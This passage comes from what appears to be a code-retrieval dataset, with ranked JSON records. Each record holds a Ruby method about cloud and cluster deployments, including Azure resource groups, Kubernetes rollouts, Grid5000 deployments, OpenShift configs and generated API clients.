Exceptions::ApiParameterInvalid, \"Supplied project_name (#{params[:project_name]}) does not match found deployment's name (#{project.project_name})\"\n end\n\n project.deployments.all\n else\n deployment = begin\n Deployment.find(params[:deployment_id])\n rescue ActiveRecord::RecordNotFound\n raise Exceptions::ApiParameterInvalid, \"Could not find deployment with ID #{params[:deployment_id]}\"\n end\n\n unless deployment.deployment_name == params[:deployment_name]\n raise Exceptions::ApiParameterInvalid, \"Supplied deployment_name (#{params[:deployment_name]}) does not match found deployment's name (#{deployment.deployment_name})\"\n end\n\n [deployment]\n end\n end", "title": "" }, { "docid": "f8fdd1d87e589f479aeae90fc18d64d0", "score": "0.5323773", "text": "def get_deployment(cloud_service_name, options={})\n Loggerx.error_with_exit 'Cloud service name is not valid' unless cloud_service_name\n request_path = nil\n slot = (options[:slot].nil? && options[:id].nil?) ? \"production\" : options[:slot]\n if !slot.nil?\n invalid_slot = slot.casecmp(\"staging\") != 0 && slot.casecmp(\"production\") != 0\n Loggerx.error_with_exit 'slot is not valid' if invalid_slot\n request_path = \"/services/hostedservices/#{cloud_service_name}/deploymentslots/#{slot}\"\n else\n request_path = \"/services/hostedservices/#{cloud_service_name}/deployments/#{options[:id]}\"\n end\n\n request = ManagementHttpRequest.new(:get, request_path, nil)\n response = request.call(options)\n #puts response\n Serialization.deployment_from_xml(response)\n end", "title": "" }, { "docid": "79f3826d0c7e6a155f9b2fcd6bb01674", "score": "0.5287443", "text": "def deploy\n deployment_id = SecureRandom.hex(6)\n deployments = stage.deployments\n if deployments.empty?\n puts 'There are no deployment objects defined'\n return true\n end\n\n puts \"Using deployment ID: #{deployment_id}\"\n\n deployments.each do |deployment|\n deployment.insert_deployment_id!(deployment_id)\n end\n\n apply(deployments, 'deployment')\n puts 'Waiting for all deployments to roll out...'\n\n monitor = DeploymentMonitor.new(stage, deployment_id)\n monitor.on_success do |poll|\n if poll.replica_sets.size == 1\n puts \"\\e[32mDeployment rolled out successfully\\e[0m\"\n else\n puts \"\\e[32mAll #{poll.replica_sets.size} deployments all rolled out successfully\\e[0m\"\n end\n end\n\n monitor.on_wait do |poll|\n puts \"Waiting for #{poll.pending.size} #{poll.pending.size == 1 ? 'deployment' : 'deployments'} (#{poll.pending_names.join(', ')})\"\n end\n\n monitor.on_failure do |poll|\n puts \"\\e[31mLooks like things aren't going to plan with some deployments.\\e[0m\"\n puts 'You can review potential issues using the commads below:'\n\n poll.pending.each do |rs|\n puts\n name = rs.name.split('-').first\n puts \" hippo #{stage.name} kubectl -- describe deployment \\e[35m#{name}\\e[0m\"\n puts \" hippo #{stage.name} kubectl -- logs deployment/\\e[35m#{name}\\e[0m --all-containers\"\n end\n puts\n end\n\n monitor.wait\n end", "title": "" }, { "docid": "ae243dd44a5027bfffc4bd7979ba151b", "score": "0.5209658", "text": "def follow_azure_deployment(rg_name, deployment_name)\n\n end_provisioning_states = 'Canceled,Failed,Deleted,Succeeded'\n end_provisioning_state_reached = false\n\n until end_provisioning_state_reached\n list_outstanding_deployment_operations(rg_name, deployment_name)\n sleep 10\n deployment_provisioning_state = deployment_state(rg_name, deployment_name)\n end_provisioning_state_reached = end_provisioning_states.split(',').include?(deployment_provisioning_state)\n end\n info format(\"Resource Template deployment reached end state of %s\", deployment_provisioning_state)\n end", "title": "" }, { "docid": "cfb18cbb1d61b11f3eed369522d72dbb", "score": "0.5187481", "text": "def deploy(&block)\n @deploy = block\n end", "title": "" }, { "docid": "111540f4c54db4477bf9bfe7beb07bfd", "score": "0.5184099", "text": "def deployment_vms(deployment_name, opts = {})\n url = \"/deployments/#{deployment_name}/vms\"\n unless opts[:full_format]\n get(url)\n else\n task_info = get(url, format: 'full')\n unless task_id = task_info['id']\n fail Error.new(\"Unexpected that no 'id' in #{task_info.inspect}\")\n end\n result = poll_task_until_steady_state(task_id).result\n # make sure that it is an array, even singletun\n result.kind_of?(Array) ? result : [result]\n end\n end", "title": "" }, { "docid": "fa41f6f70984bb912e0462b7b7a2d918", "score": "0.5177662", "text": "def pipeline_deployment\n @pipeline_deployment_resource ||= PipelineDeployment.new(@client)\n end", "title": "" }, { "docid": "d51a00ce7d0a254ed472249340a0d75f", "score": "0.5176971", "text": "def deploy\n # ensure the resource group is created\n params = Azure::ARM::Resources::Models::ResourceGroup.new.tap do |rg|\n rg.location = @resource_group_location\n end\n @client.resource_groups.create_or_update(@resource_group, params).value!\n\n # build the deployment from a json file template from parameters\n template = File.read(File.expand_path(File.join(__dir__, 'template.json')))\n deployment = Azure::ARM::Resources::Models::Deployment.new\n deployment.properties = Azure::ARM::Resources::Models::DeploymentProperties.new\n deployment.properties.template = JSON.parse(template)\n deployment.properties.mode = Azure::ARM::Resources::Models::DeploymentMode::Incremental\n\n # build the deployment template parameters from Hash to {key: {value: value}} format\n deploy_params = File.read(File.expand_path(File.join(__dir__, 'parameters.json')))\n deployment.properties.parameters = JSON.parse(deploy_params)[\"parameters\"]\n\n # put the deployment to the resource group\n @client.deployments.create_or_update(@resource_group, 'azure-sample', deployment)\n end", "title": "" }, { "docid": "83460ed9b33285798c705bcc38ce9635", "score": "0.51296896", "text": "def get_hyperflex_cluster_backup_policy_deployment_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: HyperflexApi.get_hyperflex_cluster_backup_policy_deployment_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/hyperflex/ClusterBackupPolicyDeployments'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'HyperflexClusterBackupPolicyDeploymentResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"HyperflexApi.get_hyperflex_cluster_backup_policy_deployment_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: HyperflexApi#get_hyperflex_cluster_backup_policy_deployment_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "e18276d613f556b3e02d93717a71f6cf", "score": "0.50892407", "text": "def perform_deployment(deployment_info)\n begin\n deployment_details = {}\n repo_info = deployment_info.repos\n input_info = deployment_info.inputs\n dns_info = deployment_info.subdomain\n deployment_details[:dns_info] = update_dns_entries(dns_info)\n deployment_details[:tag_info] = perform_tagging(repo_info)\n update_rightscale_inputs(input_info, deployment_details[:tag_info])\n deployment_details[:rs_info] = launch_array_instances\n deployment_details\n rescue => e\n raise e\n end\n end", "title": "" }, { "docid": "a8fd1e0f85c0f46bf0130d2f4f211356", "score": "0.50830173", "text": "def depaginate_api\n # Cache in class variables rather than instance variables to improve\n # performance when several aws_ec2_instances controls are defined. Revisit\n # this if it causes memory consumption problems in large accounts\n @@aws_ec2_instances_cache ||= []\n next_token = nil\n loop do\n api_result=@ec2_client.describe_instances(\n next_token: next_token,\n max_results: 1000)\n api_result.reservations.map(&:instances).each do |instance|\n @@aws_ec2_instances_cache << instance.first\n end\n next_token = api_result.next_token\n break unless api_result.next_token\n end\n @@aws_ec2_instances_cache\n end", "title": "" }, { "docid": "8a1d7779662f68e9eb3d9a578411f220", "score": "0.5082733", "text": "def deploy!(env = {})\n env[:remaining_attempts] ||= env[:deployment_max_attempts]\n\n env[:nodes] = [env[:nodes]].flatten.sort\n logger.info \"[#{env[:site]}] Launching deployment [no-deploy=#{env[:no_deploy].inspect}]...\"\n if env[:no_deploy]\n # attempts to find the latest deployment on the same nodes\n deployment = connection.root.sites[env[:site].to_sym].deployments(\n :reload => true\n ).find{ |d|\n d['nodes'].sort == env[:nodes] &&\n d['user_uid'] == env[:user] &&\n d['created_at'] >= env[:job]['started_at'] &&\n d['created_at'] < env[:job]['started_at']+env[:walltime]\n }\n else\n if env[:remaining_attempts] > 0\n if env[:remaining_attempts] < env[:deployment_max_attempts]\n logger.info \"Retrying deployment...\"\n end\n #FIXME Add vlan managment (data here http://sebian.yasaw.net/pub/debug.txt )\n # On passe le numéro de vlan si il existe, si non vlan = nil (bien géré par l'api)\n vlan = env[:job]['resources_by_type']['vlans'][0] if defined? env[:job]['resources_by_type']['vlans'][0]\n logger.info \"Got the following key specification: #{key_for_deployment(env)}\"\n env[:remaining_attempts] -= 1\n deployment = connection.root.sites[env[:site].to_sym].deployments.submit({\n :nodes => env[:nodes],\n :notifications => env[:notifications],\n :vlan => vlan,\n :environment => env[:environment],\n :key => key_for_deployment(env)\n }.merge(env.reject{ |k,v| !valid_deployment_key?(k) }))\n else\n logger.info \"[#{env[:site]}] Hit the maximum number of retries. Halting.\"\n deployment = nil\n end\n end\n\n if deployment.nil?\n # if no valid deployment can be found without deploying, go through the normal path\n if env[:no_deploy]\n env[:no_deploy] = false\n deploy!(env)\n else\n logger.error \"[#{env[:site]}] Cannot submit the deployment.\"\n nil\n end\n else\n deployment.reload\n synchronize { @deployments.push(deployment) }\n\n logger.info \"[#{env[:site]}] Got the following deployment: #{deployment['uid']}\"\n logger.info \"[#{env[:site]}] Waiting for termination of deployment ##{deployment['uid']} in #{deployment.parent['uid']}...\"\n\n Timeout.timeout(env[:deployment_timeout]) do\n while deployment.reload['status'] == 'processing'\n sleep env[:polling_frequency]\n end\n end\n\n if deployment_ok?(deployment, env)\n logger.info \"[#{env[:site]}] Deployment is terminated:\"\n env[:deployment] = deployment\n yield env if block_given?\n env\n else\n # Retry\n synchronize { @deployments.delete(deployment) }\n logger.error \"[#{env[:site]}] Deployment failed:\"\n deploy!(env) unless env[:no_deploy]\n end\n end\n end", "title": "" }, { "docid": "59f4be030be91d1e3ece1d80442e0134", "score": "0.5079658", "text": "def each_resource(&block)\n Enumerator.new do |result|\n each_page { |resources| resources.each { |resource| result << resource } }\n end.each(&block)\n end", "title": "" }, { "docid": "6f3580057a3aa8cba21fdd6acacb1239", "score": "0.50746346", "text": "def load_deployment_configs\n @deployment_configs, by_type = [], {}\n\n object_manager.get_deployment_configs(\"#{DeploymentConfig::LABEL_COMMON}=#{::Settings.labels.version}\").each do |openshift_object|\n deployment_config = DeploymentConfig.new(object_manager, openshift_object)\n @deployment_configs << deployment_config\n\n next if deployment_config.uid.nil?\n\n if (map = @config_maps_by_uid[deployment_config.uid]).present?\n map.deployment_config = deployment_config\n deployment_config.config_map = map\n\n # Remember metrics\n src_type_name = map.source_type.try(:[], 'name')\n by_type[src_type_name] = by_type[src_type_name].to_i + 1\n end\n end\n\n # Set metrics\n by_type.each_pair do |source_type_name, cnt|\n metrics&.record_deployment_configs(:value => cnt, :source_type => source_type_name)\n end\n\n create_missing_deployment_configs\n\n logger.debug(\"DeploymentConfigs loaded: #{@deployment_configs.count}\")\n end", "title": "" }, { "docid": "9ba42baf4b31d265ceaa583e9a1b1125", "score": "0.5017094", "text": "def stream(deployment_sid: T.unsafe(nil), limit: T.unsafe(nil), page_size: T.unsafe(nil)); end", "title": "" }, { "docid": "f292bb4b97d72bdcb16e7103150f456a", "score": "0.4996734", "text": "def find_rails_deploy cloud\n clouds[cloud].ordered_resources.find { |node| node.is_a? RailsDeployClass }\nend", "title": "" }, { "docid": "27584efa816f433e40ddfee1de6db2aa", "score": "0.49884164", "text": "def list_api_deployments request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_api_deployments_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::ApigeeRegistry::V1::ListApiDeploymentsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "4e165af3eda2891028ca58799c9bf0ff", "score": "0.49808955", "text": "def finish(deployments)\n current_deployments = []\n project = Config.job.project\n\n deployments.each do |deployment_name, deployment_settings|\n Log.debug \"Verifying deployment details of '#{deployment_name}'.\"\n current_deployments << deployment_name\n\n # Attempt to fetch the server.\n server = Server.where(hostname: deployment_settings[:hostname]).first\n\n # If server doesn't exist, create it.\n if server.nil?\n server = Server.new(hostname: deployment_settings[:hostname])\n server.save\n end\n\n # Search for a deployment\n deployment = Deployment.where(deployment_name: deployment_name, project_id: project.id).first\n\n if deployment.nil?\n # Create deployment, if missing.\n new_deployment = project.deployments.new(\n deployment_settings.slice(:deployment_path, :login_user, :port).merge(\n deployment_name: deployment_name,\n settings_hash: Deployment.settings_hash(deployment_settings)\n )\n )\n\n new_deployment.server = server\n new_deployment.save\n elsif Deployment.settings_hash(deployment_settings) != deployment.settings_hash\n # Or update it if the settings have changed\n deployment.update_attributes(\n deployment_settings.slice(:deployment_path, :login_user, :port).merge(\n deployment_name: deployment_name,\n settings_hash: Deployment.settings_hash(deployment_settings)\n )\n )\n\n deployment.server = server\n deployment.save\n end\n end\n\n # Delete deployments that are no longer listed in YAML.\n Deployment.where('deployment_name NOT in (?)', current_deployments).where(project_id: project.id).delete_all\n end", "title": "" }, { "docid": "c495251f7b7751fdea101b159badc1dc", "score": "0.49447596", "text": "def index\n @deployments = Deployment.all\n end", "title": "" }, { "docid": "f46c6df2595d53e0bde52182869f7e33", "score": "0.4933846", "text": "def get_deployment(args)\n # for convenience\n deployment_id = args[:deployment_id]\n deployment_name = args[:deployment_name]\n indent = args[:indent] || ''\n \n args_no_pass = args.reject {|key, _| key == :password }\n @logger.debug \"#{indent}get_deployment(#{args_no_pass.inspect})\"\n \n deployment = nil\n if deployment_id and deployment_id > 0\n deployment = @client.deployments(:id => deployment_id).show\n if deployment.nil?\n @logger.warn \"#{indent}get_deployment(): No deployment with id '#{deployment_id}'\"\n return\n end\n @logger.debug \"#{indent}get_deployment(): Found deployment '#{deployment_id}'.\"\n else\n deployments = @client.deployments.index(:filter => [\"name==#{deployment_name}\"]);\n if deployments.nil?\n @logger.warn \"#{indent}get_deployment(): No deployments match '#{deployment_name}'\"\n return\n elsif deployments.size > 1\n @logger.warn \"#{indent}get_deployment(): Multiple deployments match '#{deployment_name}'\"\n return\n end\n \n # only one deployment left\n deployment = deployments.first\n @logger.debug \"#{indent}get_deployment(): Found deployment '#{deployment.name}'.\"\n end\n \n deployment_id = (File.basename deployment.href).to_i\n @logger.debug \"#{indent}get_deployment(): Deployment (id=#{deployment_id}, name=#{deployment_name}): #{deployment.inspect}\"\n \n return deployment\n end", "title": "" }, { "docid": "51541e3af4e8163a8950c6b07386a9e5", "score": "0.493137", "text": "def index\n @deployments =\n if @client\n # TODO: add pagination\n @client.deployments\n elsif @service\n # TODO: add pagination\n @service.deployments\n else\n # TODO: add pagination\n Locomotive::Deployment.all\n end\n\n display @deployments\n end", "title": "" }, { "docid": "6cc46a2d6fcb2c974ab6c80161793ca4", "score": "0.4911191", "text": "def get_api_deployment request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_api_deployment_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::ApigeeRegistry::V1::ApiDeployment.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "f2cdf6088c57c8e577d5882c503e6f01", "score": "0.49082074", "text": "def deployed_routes\n routes = []\n\n resources, position = [], true\n while position\n position = nil if position == true # start of loop\n resp = apigateway.get_resources(\n rest_api_id: rest_api_id,\n position: position,\n limit: 500, # default: 25 max: 500\n )\n resources += resp.items\n position = resp.position\n end\n\n resources.each do |resource|\n resource_methods = resource.resource_methods\n next if resource_methods.nil?\n\n resource_methods.each do |http_verb, resource_method|\n # puts \"#{http_verb} #{resource.path} | resource.id #{resource.id}\"\n # puts to(resource.id, http_verb)\n\n # Test changing config.cors and CloudFormation does an in-place update\n # on the resource. So no need to do bluegreen deployments for OPTIONS.\n next if http_verb == \"OPTIONS\"\n\n path = recreate_path(resource.path)\n method = http_verb.downcase.to_sym\n to = to(resource.id, http_verb)\n route = Jets::Router::Route.new(path: path, method: method, to: to)\n routes << route\n end\n end\n routes\n end", "title": "" }, { "docid": "45b6fd71502e34cf2c89d3e40aaa449a", "score": "0.49063239", "text": "def each_in_batches(&block)\n each(&block)\n\n # Non-pagination usecase or last page reached\n return if @pagination_next_page.nil?\n\n # Query the server for the next page\n resources = Resource.get(@pagination_next_page, {}, {}, @clazz)\n resources.each_in_batches(&block)\n end", "title": "" }, { "docid": "ff0c0efbe1d4613287cc3bcc5a0abe67", "score": "0.48990327", "text": "def get_process_instances_by_deployment_id_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ProcessInstancesBPMApi.get_process_instances_by_deployment_id ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling ProcessInstancesBPMApi.get_process_instances_by_deployment_id\"\n end\n if @api_client.config.client_side_validation && opts[:'status'] && !opts[:'status'].all?{|item| ['1', '2', '3'].include?(item)}\n fail ArgumentError, 'invalid value for \"status\", must include one of 1, 2, 3'\n end\n # resource path\n local_var_path = \"/server/containers/{id}/processes/instances\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'status'] = @api_client.build_collection_param(opts[:'status'], :multi) if !opts[:'status'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'sortOrder'] = opts[:'sort_order'] if !opts[:'sort_order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ProcessInstanceList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProcessInstancesBPMApi#get_process_instances_by_deployment_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "3400235ad3df2b0fba27fa387302754e", "score": "0.4879689", "text": "def index\n @deployments = Deployment.all\n end", "title": "" }, { "docid": "540c19c3bdbfa1e867f89498494c8b62", "score": "0.48658717", "text": "def each_resource(url, &block)\n raise NotImplementedError('Sample only. The each_resource method needs to be customized in child class.')\n # rubocop:disable Lint/UnreachableCode\n # Sample implementation based on VPC.\n return enum_for(:each_resource, url) unless block_given?\n return unless url\n\n response = get(path: url)\n resources = response.fetch(@array_key.to_sym)\n\n resources&.each { |value| yield hash_instance(value) }\n # VPC has a next key that holds the next URL.\n return unless response.key?(:next)\n\n # The next data structure is a hash with a href member.\n next_url = response.dig(:next, :href)\n return unless next_url\n\n each_resource(next_url, &block)\n # rubocop:enable Lint/UnreachableCode\n end", "title": "" }, { "docid": "cd39875bd784f8e4ef236fac89af4219", "score": "0.4833207", "text": "def get_instance(payload)\n DeploymentInstance.new(@version, payload, fleet_sid: @solution[:fleet_sid])\n end", "title": "" }, { "docid": "31b69ea6eff66bacf5917c73b58c1859", "score": "0.4822148", "text": "def each_resource(url, &block)\n return enum_for(:each_resource, url) unless block_given?\n return unless url\n\n response = get(path: url).json\n resources = response.fetch(@array_key.to_sym)\n\n resources&.each { |value| yield hash_instance(value) }\n # VPC has a next key that holds the next URL.\n return unless response.key?(:next)\n\n # The :next data structure is a hash with a href member.\n next_url = response.dig(:next, :href)\n return unless next_url\n\n each_resource(next_url, &block)\n end", "title": "" }, { "docid": "da114d826b2b5ec604ff43fb5b436315", "score": "0.48219138", "text": "def index\n @deploy_states = DeployState.paginate(:page => params[:page])\n end", "title": "" }, { "docid": "85ef7c693e16916dd81260e101d0d104", "score": "0.48169383", "text": "def deploy_get\n service_response = TokenManagement::GetDeploymentDetail.new(params).perform\n return render_api_response(service_response)\n end", "title": "" }, { "docid": "1e352e538ada954c950bb0bd8a4c170b", "score": "0.4815321", "text": "def sequential_deployment() ; info[:sequential_deployment] ; end", "title": "" }, { "docid": "b792cf3fd80636c12e4280f498fda974", "score": "0.48044392", "text": "def poll deploy_id\n\n vm = get_virtual_machine deploy_id\n rg_name = get_vm_rg_name vm\n instance = compute.mgmt.virtual_machines.get(\n rg_name, vm.name, expand:'instanceView'\n )\n\n cpu = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Percentage CPU', result_type: 'Data'\n ).value.first.timeseries.first.data.select { |data| data.average != nil }.last\n cpu = cpu.nil? ? 0 : cpu.average\n\n memory = 768\n nettx = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Network In', result_type: 'Data'\n ).value.first.timeseries.first.data.select { |data| data.total != nil }.last\n nettx = nettx.nil? ? 0 : nettx.total\n\n netrx = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Network Out', result_type: 'Data'\n ).value.first.timeseries.first.data.select { |data| data.total != nil }.last\n netrx = netrx.nil? ? 0 : netrx.total\n\n disk_rbytes = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Disk Read Bytes', result_type: 'Data'\n ).value.first.timeseries.first.data.last.total.to_f\n disk_wbytes = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Disk Write Bytes', result_type: 'Data'\n ).value.first.timeseries.first.data.last.total.to_f\n disk_riops = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Disk Read Operations/Sec', result_type: 'Data'\n ).value.first.timeseries.first.data.select { |data| data.average != nil }.last\n disk_riops = disk_riops.nil? ? 0.0 : disk_riops.average * 60\n\n disk_wiops = monitor.mgmt.metrics.list(\n vm.id, metricnames: 'Disk Write Operations/Sec', result_type: 'Data'\n ).value.first.timeseries.first.data.select { |data| data.average != nil }.last\n disk_wiops = disk_wiops.nil? ? 0.0 : disk_wiops.average * 60\n\n\n info = \"#{AzureDriver::POLL_ATTRIBUTE[:cpu]}=#{(cpu * 10).round(2)} \" \\\n \"#{AzureDriver::POLL_ATTRIBUTE[:memory]}=#{(memory * 1024).round(2)} \" \\\n \"#{AzureDriver::POLL_ATTRIBUTE[:netrx]}=#{netrx.round(2)} \" \\\n \"#{AzureDriver::POLL_ATTRIBUTE[:nettx]}=#{nettx.round(2)} \" \\\n \"DISKRDBYTES=#{disk_rbytes.round(2)} \" \\\n \"DISKWRBYTES=#{disk_wbytes.round(2)} \" \\\n \"DISKRDIOPS=#{disk_riops.round(2)} \" \\\n \"DISKWRIOPS=#{disk_wiops.round(2)} \" \\\n \"RESOURCE_GROUP_NAME=#{rg_name.downcase} \" \\\n \"GUEST_IP_ADDRESSES=\\\\\\\"#{get_virtual_machine_ip(deploy_id).join(',')}\\\\\\\"\"\n \"MONITORING_TIME=#{Time.now.to_i}\"\n\n state = \"\"\n if !instance\n state = VM_STATE[:error]\n else\n state = case instance.instance_view.statuses.last.code.split('/').last\n when \"running\", \"starting\"\n AzureDriver::VM_STATE[:active]\n when \"stopped\", \"deallocated\"\n state = AzureDriver::VM_STATE[:deleted]\n else\n AzureDriver::VM_STATE[:unknown]\n end\n end\n\n\n info = \"#{AzureDriver::POLL_ATTRIBUTE[:state]}=#{state} \" + info\n\n return info, {\n :cpu => cpu, :memory => memory,\n :nettx => nettx, :netrx => netrx,\n :disk_rbytes => disk_rbytes, :disk_wbytes => disk_wbytes,\n :state => state }\n rescue => e\n # Unknown state if exception occurs retrieving information from\n # an instance\n \"#{AzureDriver::POLL_ATTRIBUTE[:state]}=#{AzureDriver::VM_STATE[:unknown]} POLL_ERROR=#{e.message}\"\n end", "title": "" }, { "docid": "8b1bf07eaf11f4ca2efa1c28f2bbce32", "score": "0.4792472", "text": "def list_deployment_zones_for_infra_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PolicyApi.list_deployment_zones_for_infra ...\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyApi.list_deployment_zones_for_infra, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyApi.list_deployment_zones_for_infra, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = \"/infra/deployment-zones\"\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DeploymentZoneListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyApi#list_deployment_zones_for_infra\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "e73056302042dd7fe8b4fa096dd78ed1", "score": "0.47922575", "text": "def initialize\n @deployment = []\n end", "title": "" }, { "docid": "2949e44027518d4c262a91248375da0b", "score": "0.4777978", "text": "def create\n ensure_authenticated!\n begin\n payload = deployment_params.to_h\n Rails.logger.debug \"Creating deployment with #{payload} from #{params} (after permit)\"\n\n dpl = Grid5000::Deployment.new(payload)\n dpl.user_uid = @credentials[:cn]\n dpl.site_uid = Rails.whoami\n dpl.user = @credentials[:cn]\n dpl.base_uri = api_path\n dpl.tls_options = tls_options_for(:out)\n\n Rails.logger.info \"Received deployment = #{dpl.inspect}\"\n rescue StandardError => e\n raise BadRequest, \"The deployment you are trying to submit is not valid: #{e.message}\"\n end\n unless dpl.valid?\n raise BadRequest, \"The deployment you are trying to submit is not valid: #{dpl.errors.to_a.join('; ')}\"\n end\n\n files_base_uri = uri_to(parent_path + '/files', :in, :absolute)\n dpl.transform_blobs_into_files!(Rails.tmp, files_base_uri)\n\n begin\n dpl.launch || raise(ServerError,\n dpl.errors.full_messages.join('; ').to_s)\n rescue => e\n error_msg_prefix = 'Cannot launch deployment: '\n\n case e\n when Grid5000::Errors::Kadeploy::ServerError\n raise ServerError, error_msg_prefix + e.message\n when Grid5000::Errors::Kadeploy::BadRequest\n raise BadRequest, error_msg_prefix + e.message\n else\n raise ServerError, error_msg_prefix + e.message\n end\n end\n\n location_uri = uri_to(\n resource_path(dpl.uid),\n :in, :absolute\n )\n\n dpl.links = links_for_item(dpl)\n\n render_opts = {\n location: location_uri,\n status: 201\n }\n render_result(dpl, render_opts)\n end", "title": "" }, { "docid": "9f1c735000350f07168a0091a7691a25", "score": "0.47630754", "text": "def backup_tenant(tenant)\n puts \"Backing up tenant: \" + tenant.name\n \n # Get an auth token for the current tenant.\n auth_token = get_token(tenant.id)[:id]\n \n # Get a list of all of the instances for this tenant.\n response = compute_api_query( \"/servers\", tenant.id, auth_token)\n \n instances = []\n # Backup each instance. Keep a list of images to be copied after.\n 